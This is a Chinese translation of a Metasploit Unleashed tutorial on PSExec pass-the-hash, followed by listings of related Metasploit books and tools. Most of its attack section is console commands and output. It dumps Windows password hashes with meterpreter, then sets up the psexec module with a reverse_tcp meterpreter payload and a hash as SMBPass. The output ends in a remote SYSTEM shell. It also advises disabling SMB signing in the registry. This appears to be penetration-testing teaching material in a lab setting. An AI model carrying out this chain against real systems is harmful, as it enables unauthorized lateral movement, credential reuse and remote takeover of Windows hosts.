`

Metasploit PSExec Pass The Hash

 
阅读更多
原文:http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash
psexec被渗透测试者用来获得一个已知口令的系统访问权。作为一个渗透测试者,当我们通过漏洞成功获取一个系统访问权后,使用meterpreter来获得密码,或者通过fgdump, pwdump, cachedump和彩虹表来配合破解这些hash值。
我们也可以通过例如iam.exe这种工具来pass the hask。metasploit 中的psexec允许你输入密码,或hash值而不需要通过破解来获得访问权。首先我们拿下来一个系统的管理员密码,我们不需要破解它因为psexec允许我们使用hash值,来访问同一个域中的相同管理员帐户,从而在不同的系统中切换时不用担心破解密码。需要注意的一点是如果只含有NTLM(例如是一个15位的密码或通过GPO他们明确只应答NTLM),只用把****NOPASSWORD****替换为32个0,例如:
******NOPASSWORD*******:8846f7eaee8fb117ad06bdd830b7586c
替换为:
00000000000000000000000000000000:8846f7eaee8fb117ad06bdd830b7586c
在实验室中,可能会遇到下面的情况,即使使用正确的口令:
STATUS_ACCESS_DENIED (Command=117 WordCount=0)
可以通过把目标机中注册表HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\ParametersRequireSecuritySignature设为0来修复。
  • Meterpreter session 1 opened (192.168.57.139:443 -> 192.168.57.131:1042)

  • meterpreter > run post/windows/gather/hashdump
  • Obtaining the boot key...
  • Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
  • Obtaining the user list and keys...
  • Decrypting user keys...
  • Dumping password hashes...

  • Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
    meterpreter >

    现在我们有了meterpreter 控制台和dump出的hash,让我们使用psexec和dump出的hash值来连接到另一台机器
    root@kali:~# msfconsole

                    ##                          ###           ##    ##
    ##  ##  #### ###### ####  #####   #####    ##    ####        ######
    ####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
    ####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
    ## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
    ##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                          ##


           =[ metasploit v4.2.0-dev [core:4.2 api:1.0]
    + -- --=[ 787 exploits - 425 auxiliary - 128 post
    + -- --=[ 238 payloads - 27 encoders - 8 nops
           =[ svn r14551 updated yesterday (2012.01.14)

    msf > search psexec

    Exploits
    ========

       Name                       Description
       ----                       -----------
       windows/smb/psexec         Microsoft Windows Authenticated User Code Execution
       windows/smb/smb_relay      Microsoft Windows SMB Relay Code Execution

    msf > use exploit/windows/smb/psexec
    msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf exploit(psexec) > set LHOST 192.168.57.133
    LHOST => 192.168.57.133
    msf exploit(psexec) > set LPORT 443
    LPORT => 443
    msf exploit(psexec) > set RHOST 192.168.57.131
    RHOST => 192.168.57.131
    msf exploit(psexec) > show options

    Module options:

       Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       RHOST    192.168.57.131   yes       The target address
       RPORT    445              yes       Set the SMB service port
       SMBPass                   no        The password for the specified username
       SMBUser  Administrator    yes       The username to authenticate as


    Payload options (windows/meterpreter/reverse_tcp):

       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  thread           yes       Exit technique: seh, thread, process
       LHOST     192.168.57.133   yes       The local address
       LPORT     443              yes       The local port


    Exploit target:

       Id  Name
       --  ----
       0   Automatic


    msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
    SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
    msf exploit(psexec) > exploit
  • Connecting to the server...
  • Started reverse handler
  • Authenticating as user 'Administrator'...
  • Uploading payload...
  • Created \KoVCxCjx.exe...
  • Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.131[\svcctl] ...
  • Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.131[\svcctl] ...
  • Obtaining a service manager handle...
  • Creating a new service (XKqtKinn - "MSSeYtOQydnRPWl")...
  • Closing service handle...
  • Opening service...
  • Starting the service...
  • Removing the service...
  • Closing service handle...
  • Deleting \KoVCxCjx.exe...
  • Sending stage (719360 bytes)
  • Meterpreter session 1 opened (192.168.57.133:443 -> 192.168.57.131:1045)

  • meterpreter > shell
    Process 3680 created.
    Channel 1 created.
    Microsoft Windows [Version 5.2.3790]
    (C) Copyright 1985-2003 Microsoft Corp.

    C:\WINDOWS\system32>
    分享到:
    评论

    相关推荐

      smbXplode:Metasploit psexec模块的替代产品,具有自动功能,可跨多个主机运行,同时检测正确的体系结构和信誉收获

      smbXplode Metasploit psexec模块无缘无故无法工作时该怎么办? 此脚本用于自动完成针对Windows域的凭据收集和通过smb和rpc获取Meterpreter会话的过程。 为此,您首先需要具有一些管理员凭据。 否则,您可能会获得...

      Metasploit The Penetration Tester’s Guide.pdf

      Metasploit The Penetration Tester's Guide, This book is designed to teach you the ins and outs of Metasploit and how to use the Framework to its fullest.

      Metasploit-The Exploit Learning Tree

      “Metasploit-The Exploit Learning Tree”文档的目标并不在于教授如何使用Metasploit进行基础的安全测试,因为这方面的资源已经相当丰富。相反,它试图帮助用户深入了解Metasploit的内部工作原理,从而能够更加灵活...

      Metasploit教程

      Metasploit教程Metasploit教程Metasploit教程Metasploit教程

      Metasploit's Guide

      Metasploit是一个功能强大的渗透测试框架,它简化了发现、利用和分享漏洞的过程,让渗透测试工作更加迅速和简单。尽管Metasploit被全球的安全专业人员广泛使用,但对于初学者来说,它可能还是难以掌握。《Metasploit...

      Metasploit渗透测试指南.pdf

      英文版:Metasploit: The Penetration Tester's Guide 内容简介 《Metasploit渗透测试指南》介绍Metasploit——近年来最强大、最流行和最有发展前途的开源渗透测试平台软件,以及基于Metasploit进行网络渗透测试与...

      Metasploit Bootcamp

      The book starts with a hands-on Day 1 chapter, covering the basics of the Metasploit framework and preparing the readers for a self-completion exercise at the end of every chapter. The Day 2 chapter ...

      metasploit-framework-6.3.34.zip

      《Metasploit Framework 6.3.34:渗透测试的利器》 Metasploit Framework,简称MSF,是一款开源的安全漏洞检测工具,主要用于安全研究人员进行渗透测试和漏洞验证。这个版本是6.3.34,代表着软件的最新迭代,通常会...

      Metasploit

      《Metasploit》一书深入探讨了网络安全领域中的攻防技术,主要焦点在于Metasploit框架的使用。Metasploit是一款强大的开源安全工具,广泛应用于安全测试、漏洞验证以及网络防御策略的制定。以下是该书可能涉及的重要...

      metasploit 中文开发教程

      《Metasploit中文开发教程》是一份极为珍贵的IT安全教育资源,主要针对的是网络安全领域中的漏洞利用和渗透测试工具——Metasploit。Metasploit自2003年起开始开发,至今已成为全球黑客和安全专家广泛使用的开源平台...

      Metasploit渗透测试指南英文原版Metasploit_The_Penetration_Tester's_Guide

      ### Metasploit渗透测试指南知识点概述 #### 一、Metasploit简介与功能 - **定义**:Metasploit是一款广泛使用的开源安全评估工具,它主要用于渗透测试和漏洞验证。 - **开发者**:本书作者包括David Kennedy、Jim ...

      Metasploit渗透测试指南_渗透测试_metasploit_

      **Metasploit渗透测试指南** 渗透测试是一种授权的安全测试,旨在发现并评估计算机网络和系统的弱点,以增强安全防御。Metasploit是一款广泛使用的开源工具,专为安全专业人士设计,用于执行这种测试。本指南将深入...

      Metasploit The Penetration Tester’s Guide

      《Metasploit渗透测试者指南》是一本由David Kennedy、Jim O’Gorman、Devon Kearns和Mati Aharoni合著的专业书籍,前言由HD Moore撰写,旨在为网络安全专家提供深入理解和掌握Metasploit框架的全面指导。Metasploit...

      metasploit

      **Metasploit 使用教程** Metasploit是一款广泛应用于安全测试和漏洞评估的开源框架,它提供了大量的渗透测试模块,帮助安全研究人员和白帽黑客模拟攻击,以检测系统和网络的安全性。本教程将深入探讨Metasploit的...

      Metasploit 中文手册.pdf

      Metasploit软件帮助安全专家和 IT 专家识别安全问题、验证漏洞修复情况,并管理由专家执行的安全评估。 该产品提供真正的安全风险智能,帮助用户保护数据抵御攻击。 本 POC 指南的内容涉及智能入侵测定、密码审计、...

      metasploit中文使用指南

      **Metasploit中文使用指南** Metasploit是一款广泛使用的开源安全渗透测试框架,它为安全专业人士提供了测试系统漏洞、评估安全防御能力以及进行红蓝对抗的能力。本指南将深入介绍如何利用Metasploit进行有效且合规...

    Global site tag (gtag.js) - Google Analytics